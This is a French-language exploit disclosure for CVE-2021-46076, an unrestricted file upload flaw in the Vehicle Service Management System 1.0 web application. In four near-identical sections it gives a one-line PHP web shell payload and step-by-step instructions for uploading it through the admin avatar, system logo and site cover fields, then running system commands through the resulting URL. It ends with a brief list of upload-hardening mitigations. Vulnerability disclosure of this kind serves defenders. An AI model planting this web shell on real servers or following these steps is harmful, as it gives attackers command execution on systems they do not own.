CVE-2021-46076
Titre de l'exploit : Vehicle Service Management System - 'Multiple' téléchargement de fichier conduit à une exécution de code
Auteur de l'exploit : SANU P.L
CVE : CVE-2021-46076
CVSS : 8.8 ÉLEVÉE
Références :
Description :
Sourcecodester Vehicle Service Management System 1.0 est vulnérable au téléchargement de fichier. Un attaquant peut télécharger un fichier php malveillant sur plusieurs points de terminaison, ce qui conduit à une exécution de code.
1. Vehicle Service Management System - 'Mon compte' (/admin/?page=user)
Exploit :
- Connectez-vous au panneau d'administration http://localhost/vehicle_service/admin
- Accédez à la section Mon compte http://localhost/vehicle_service/admin/?page=user
Charge utile :
<?php system($_GET['cmd']);?>
- Enregistrez le code php ci-dessus, par exemple : Cmd.php
- Dans la section Mon compte, saisissez toutes les informations requises et sélectionnez le fichier php dans Avatar.
- Cliquez sur le bouton Mettre à jour.
- Ouvrez l'image de l'avatar dans un nouvel onglet.
- Ajoutez le paramètre cmd dans l'URL et exécutez les commandes.
- URL finale : http://localhost/vehicle_service/uploads/1640632740_Cmd.php?cmd=whoami
- Exécutez toutes les commandes système, par exemple : id, whoami, pwd, etc.
2. Vehicle Service Management System - 'Liste des utilisateurs' (/admin/?page=user/manage_user)
Exploit :
- Connectez-vous au panneau d'administration http://localhost/vehicle_service/admin
- Accédez à la section Liste des utilisateurs et cliquez sur le bouton Créer un nouveau.
Charge utile :
<?php system($_GET['cmd']);?>
- Enregistrez le code php ci-dessus, par exemple : Cmd.php
- Dans la page Créer un nouvel utilisateur, saisissez toutes les informations requises et sélectionnez le fichier php dans Avatar.
- Cliquez sur le bouton Enregistrer.
- Ouvrez l'image de l'avatar dans un nouvel onglet.
- Ajoutez le paramètre cmd dans l'URL et exécutez les commandes.
- URL finale : http://localhost/vehicle_service/uploads/1640632740_Cmd.php?cmd=whoami
- Exécutez toutes les commandes système, par exemple : id, whoami, pwd, etc.
3. Vehicle Service Management System - 'Paramètres - Logo du système' (/admin/?page=system_info)
Exploit :
- Connectez-vous au panneau d'administration http://localhost/vehicle_service/admin
- Accédez à la section Paramètres http://localhost/vehicle_service/admin/?page=system_info
Charge utile :
<?php system($_GET['cmd']);?>
- Enregistrez le code php ci-dessus, par exemple : Cmd.php
- Dans la section Paramètres, saisissez toutes les informations requises et sélectionnez le fichier php dans Logo du système.
- Cliquez sur le bouton Mettre à jour.
- Ouvrez l'image du logo du système dans un nouvel onglet.
- Ajoutez le paramètre cmd dans l'URL et exécutez les commandes.
- URL finale : http://localhost/vehicle_service/uploads/1640632740_Cmd.php?cmd=whoami
- Exécutez toutes les commandes système, par exemple : id, whoami, pwd, etc.
4. Vehicle Service Management System - 'Paramètres - Couverture du site web' (/admin/?page=system_info)
Exploit :
- Connectez-vous au panneau d'administration http://localhost/vehicle_service/admin
- Accédez à la section Paramètres http://localhost/vehicle_service/admin/?page=system_info
Charge utile :
<?php system($_GET['cmd']);?>
- Enregistrez le code php ci-dessus, par exemple : Cmd.php
- Dans la section Paramètres, saisissez toutes les informations requises et sélectionnez le fichier php dans Couverture du site web.
- Cliquez sur le bouton Mettre à jour.
- Ouvrez l'image de la couverture du site web dans un nouvel onglet.
- Ajoutez le paramètre cmd dans l'URL et exécutez les commandes.
- URL finale : http://localhost/vehicle_service/uploads/1640632740_Cmd.php?cmd=whoami
- Exécutez toutes les commandes système, par exemple : id, whoami, pwd, etc.
Impact :
Un attaquant peut télécharger un fichier php malveillant sur plusieurs points de terminaison, ce qui conduit à une exécution de code.
Atténuation :
Il est recommandé de mettre en œuvre les mesures suivantes :
- N'accepter jamais un nom de fichier et son extension directement sans avoir un filtre de liste blanche.
- S'il n'est pas nécessaire d'avoir des caractères Unicode, il est fortement recommandé de n'accepter que des caractères alphanumériques et un seul point comme entrée pour le nom du fichier et l'extension.
- Limiter la taille du fichier à une valeur maximale afin d'empêcher les attaques par déni de service.
- Le répertoire de téléchargement ne doit avoir aucune permission d'« exécution ».
- Ne pas se fier uniquement à la validation côté client.